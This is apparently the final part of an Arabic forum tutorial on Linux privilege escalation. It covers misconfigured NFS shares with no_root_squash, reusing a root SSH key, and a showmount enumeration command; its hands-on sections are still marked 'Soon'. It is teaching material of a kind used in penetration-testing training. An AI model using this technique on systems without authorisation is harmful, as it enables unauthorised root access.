الـ Network File Sharing
موضوع تصعيد الصلاحيات ما بقتصر على الوصول الداخلي فقط حتى الـ Shared folders و (الـ remote management interfaces ) واجهات الإدارة عن بُعد زي SSH و Telnet هدول كلهم ممكن يساعدوك توصل للروت على الجهاز المستهدف
ببعض الحالات ممكن تحتاج تستخدم الإثنين مع بعض , مثلًا لو لقيت مفتاح SSH الخاص بالروت على الجهاز المستهدف بتقدر تتصل فيه باستخدام SSH بصلاحيات الروت بدل ما تحاول ترفع صلاحيات المستخدم الحالي
في شيء ثاني ممكن تلاقيه هو لما يكون في ( Network Shell ) غير مضبوط هاد بحصل أحيانًا باختبارات اختراق الشبكات لما يكون في نظام نسخ احتياطي للشبكة موجود
تكوين الـ NFS يتم حفظه بملف etc/exports/ الملف هاد يتم إنشاءه أثناء تثبيت خادم NFS وعادةً ما يمكن قراءته بواسطة المستخدمين

أهم اشي بالموضوع هاد هو الخيار no_root_squash اللي موجود فوق
افتراضيًا الـ NFS بغير المستخدم الجذري إلى nfsnobody وبمحي أي ملف من التشغيل بصلاحيات الـ root
بحالة إذا كان خيار no_root_squash موجودًا على واحد من المسارات بإمكاننا ننشئ ملف قابل للتنفيذ مع تعيين بت SUID وتشغيله على النظام المستهدف
عن طريق الأمر التالي بعرضلنا الـ exported shares من خادم NFS بالعنون ip
كود:
showmount -e ip


بنعطي الملف suid على النظام الاساسي ونشغل الملف وهيك بترتفع صلاحيات المستخدم
تطبيق عملي
Soon
.
.
.
تحدي عملي لرفع الصلاحيات
Soon
.
.
.
تم تنزيل المقال هدية للعيد وسيتم إكماله بالأيام المقبلة إن شاء الله
( تم شرح كل المواضيع بالمقال فقط تبقى مثال عملي ويفضل المحاولة به بنفسكم لاختبار مهاراتكم )
وكل عام وأنتم بالف خير وصحة وسلامة
عيد مبارك على الجميع وفرجاً قريبا على فلسطين وأهلها
اللهم فرجاً قريباً ونصراً عاجلاً
عيد مبارك على الجميع وفرجاً قريبا على فلسطين وأهلها
اللهم فرجاً قريباً ونصراً عاجلاً
المرفقات
-
1710826814593.png2.1 KB · المشاهدات: 130
-
1711017367939.png88.4 KB · المشاهدات: 128
-
1711049589278.png47.1 KB · المشاهدات: 129
-
1711811064428.png197.2 KB · المشاهدات: 131
-
1711977255269.png6.4 KB · المشاهدات: 128
-
1711979606460.png139.1 KB · المشاهدات: 134
-
1711979682954.png179.3 KB · المشاهدات: 133
-
1711979823662.png8.6 KB · المشاهدات: 130
-
1712569610797.png53.1 KB · المشاهدات: 127